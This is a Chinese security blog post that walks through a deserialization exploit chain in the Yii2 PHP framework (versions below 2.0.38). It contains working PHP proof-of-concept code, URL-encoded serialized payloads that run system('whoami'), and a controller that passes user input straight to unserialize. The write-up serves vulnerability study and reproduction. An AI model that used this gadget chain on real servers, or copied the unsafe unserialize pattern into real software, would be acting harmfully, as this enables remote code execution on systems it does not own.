freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

yii2反序列化漏洞初探
baierr 2022-09-10 13:34:16 291264
所属地 四川省

1.简单介绍

闲逛时发现yii2有反序列化的漏洞,比较感兴趣所以来记录学习下。yii2是一个使用php语言的开发框架,其版本小于2.0.38存在多条反序列化的利用链,本篇分析的链如下:

BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()

2.环境搭建

因笔者之前开发过一段时间的yii框架所以这里就拿之前开发的平台做一个复现,同时也验证一下以前开发的平台是否存在该漏洞。正常的去github上下载yii框架,拉下来修改cookie值后布到自己的web环境中就可以使用了,框架搭建好之后的默认页面如下:

1662787546_631c1fda0d55b8b2b9b59.png!small?1662787545719

3.前置知识

在分析这个漏洞前我们可以看一个小demo来更好的理解这个链(大佬可以略过),这个demo有两个类,test2类中存在call_user_func_array这个回调的函数可以让我们回调其他函数执行命令或者写shell,test1类中只有魔术方法。

<?php
class test1
{

protected $events;

protected $event;

public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}


public function __destruct()
{
$this->events->demo($this->event);
}
}

class test2
{
protected $formatters;

function __construct($forma){
$this->formatters = $forma;
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}

public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}

unserialize($_GET['a']);

这个对于demo我们要执行回调函数需要能够执行到format这个方法,而这个方法在_call魔术方法中被调用,这个魔术方法是如果test2这个类在调用到这个类不存在的方法时触发的,所以我们需要找一个点实例化test2然后让其调用一个不存在的类就可以让其执行这个魔术方法。而在test1这个类中 _destruct魔术方法中会调用$events的demo方法,刚好在test2中不存在这个demo方法所以可以通过test1类执行到这个回调函数。

前面分析了如何到达这个方法,这部分来看如何控制回调函数的参数,这个函数的参数由getFormatter方法的返回值和$arguments这个数组构成。$arguments这个参数是要我们回调的函数要执行的内容,这个值通过_call方法中的$attributes传递过来,而这个变量是test1中的$events变量,这个变量是可控的。

getFormatter的方法里将传递过来的值作为键返回$formatters中对应的值,$formatter这个变量是 _call方法的$method,因为在test1中实例化test2调用的不存在的方法为demo所以这个变量的值为demo。根据前面的分析要控制回调的函数就赋值test2中的$formatters中的键demo的值为要回调的函数明就可以了。

注:关于魔术方法

__construct()   实例化类时自动调用
__destruct() 类对象使用结束时自动调用
__set() 在给未定义的属性赋值时自动调用
__get() 调用未定义的属性时自动调用
__isset() 使用 isset() 或 empty() 函数时自动调用
__unset() 使用 unset() 时自动调用
__sleep() 使用 serialize 序列化时自动调用
__wakeup() 使用 unserialize 反序列化时自动调用
__call() 调用一个不存在的方法时自动调用
__callStatic() 调用一个不存在的静态方法时自动调用
__toString() 把对象转换成字符串时自动调用
__invoke() 当尝试把对象当方法调用时自动调用
__set_state() 当使用 var_export() 函数时自动调用,接受一个数组参数
__clone() 当使用 clone 复制一个对象时自动调用
__debugInfo() 使用 var_dump() 打印对象信息时自动调用
__autoload()    尝试加载未定义的类

根据前面的分析我们可以做出如下的poc,这里执行whoami的命令:

class test1
{

protected $events;
protected $event;

public function __construct()
{
$this->event = 'whoami';
$this->events = new test2;
}


public function __destruct()
{
$this->events->demo($this->event);
}
}

class test2
{
protected $formatters;

function __construct(){
$this->formatters = ['demo'=>'system'];
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}

public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}

echo serialize(new test1);

在这个poc中利用_construct魔术方法按照前文的分析进行了赋值,这里我们要执行whoami的命令,将$events赋值实例化的test2然后test2调用demo方法。将$event赋值为要回调的函数要执行的内容所以为"whoami"。在test2中的数组$formatters中赋值['demo'=>'system'],这样根据demo的键值对应的就是返回system作为回调函数。最后实现

call_user_func_array('system', 'whoami')

poc输出反序列化字符串,因为是get方法所以进行了url编码:

O%3A5%3A%22test1%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A5%3A%22test2%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A4%3A%22demo%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A6%3A%22whoami%22%3B%7D

1662787576_631c1ff84aaa67baccb33.png!small?1662787575928

4.yii2 2.0.38反序列化分析

根据前面的知识我们发现需要寻找一个魔术方法当作入口点来触发,这条序列化的入口点在vendor/yiisoft/yii2/db/BatchQueryResult.php这个文件中,进入这个文件可以看到BatchQueryResult这个类在结束时会调用reset方法。在reset方法中看到一行代码$this->_dataReader->close(),根据前面的前置知识可以想到如果将 _dataReader实例化一个类并且这个类中没有close方法且有 _call魔术方法就会触发 _call魔术方法。

1662787621_631c20254da0e7d8e2704.png!small?1662787621073

这个点作为入口,接下来就需要全局搜索_call方法找找符合前面条件的类了。这里我们使用/vendor/fzaninotto/faker/src/Faker/Generator.php里的Generator方法。

1662787638_631c2036b1c39ac0b6750.png!small?1662787638468

1662787642_631c203aba26b4e518c73.png!small?1662787642452

可以看到这个类的方法和前置知识中的test2这个类不能说相似只能说一模一样,只是这里我们会发现一个问题因为close函数没有内容所以$attributes这个变量我们不能控制,这样的话我们就只能使用一些没参数的函数了。解决办法就是我们可以想到call_user_func_array这个函数也可以调用类内部的方法,所以可以再找找有没有一个类存在一个不需要输入参数的方法,在这个方法中可以回调函数或者执行其他的恶意代码之类的。

要找到这样的方法需要使用正则去全局搜索匹配,学习一下师傅们的正则表达式,前面到'\n?'的这一部分是匹配function后任意字符后跟括号内部为空这样就匹配了无参数的方法,后面的部分是在'{'后的内容中存在'call_user_func'的内容,确定了寻找的无参方法内部存在回调函数:

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

1662787662_631c204e3cee1b1b7a657.png!small?1662787662042

匹配过后需要查看每个无参方法中的回调函数是否能控制输入参数,这里选择/vendor/yiisoft/yii2/rest/CreateAction.php中的run方法,该方法的两个参数都是可以控制的。

1662787671_631c2057e5ae734591941.png!small?1662787672150

综上所述poc如下,大致写法与前置知识的思路一致只是最后回调函数需要找一个无参的方法:

<?php
namespace yii\rest{

class CreateAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess='system';
$this->id='whoami';
}
}
}

namespace Faker{
class Generator{
protected $formatters;

public function __construct($array)
{
$this->formatters['close']=$array;  //调用CreateAction中的run方法
}
}
}

namespace yii\db{

class BatchQueryResult{
private $_dataReader;
public function __construct($data)
{
$this->_dataReader= $data;  //会调用Generator中的_call方法
}
}
}

namespace{
use Faker\Generator;
use yii\rest\CreateAction;

$array=[new CreateAction,'run'];
echo urlencode(serialize(new yii\db\BatchQueryResult(new Generator($array))));
}

5.漏洞复现

我们新建一个对字符串进行序列化的页面进行测试,yii一般是控制器来进行数据处理,我们在controller新建一个test控制器对传入的值进行序列化就可以了。

<?php
namespace app\controllers;

use yii\web\Controller;

class TestController extends Controller{

public function actionTest(){

return unserialize($_GET['a']);
}
}

将上面poc输出的值传入即可

O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A5%3A%22close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A6%3A%22whoami%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D

1662787682_631c20625555315724c8d.png!small?1662787682168此外还有其他的利用链例如最后的无参回调函数可以替换,入口函数也有其他的类存在_destory可以进入。

# web安全 # 反序列化漏洞
本文为 baierr 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
baierr LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 5 关注者
Log4j2漏洞简单分析
2022-03-22
weblogic漏洞复现系列一
2021-09-01
sql报错注入
2021-08-24
文章目录